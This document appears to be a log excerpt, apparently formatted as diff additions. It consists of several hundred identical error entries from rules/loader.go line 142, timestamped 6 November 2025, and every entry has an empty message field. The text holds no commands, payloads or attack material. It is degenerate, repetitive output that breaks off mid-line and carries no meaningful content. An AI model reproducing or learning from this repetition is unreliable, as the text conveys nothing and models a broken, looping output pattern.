+time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= 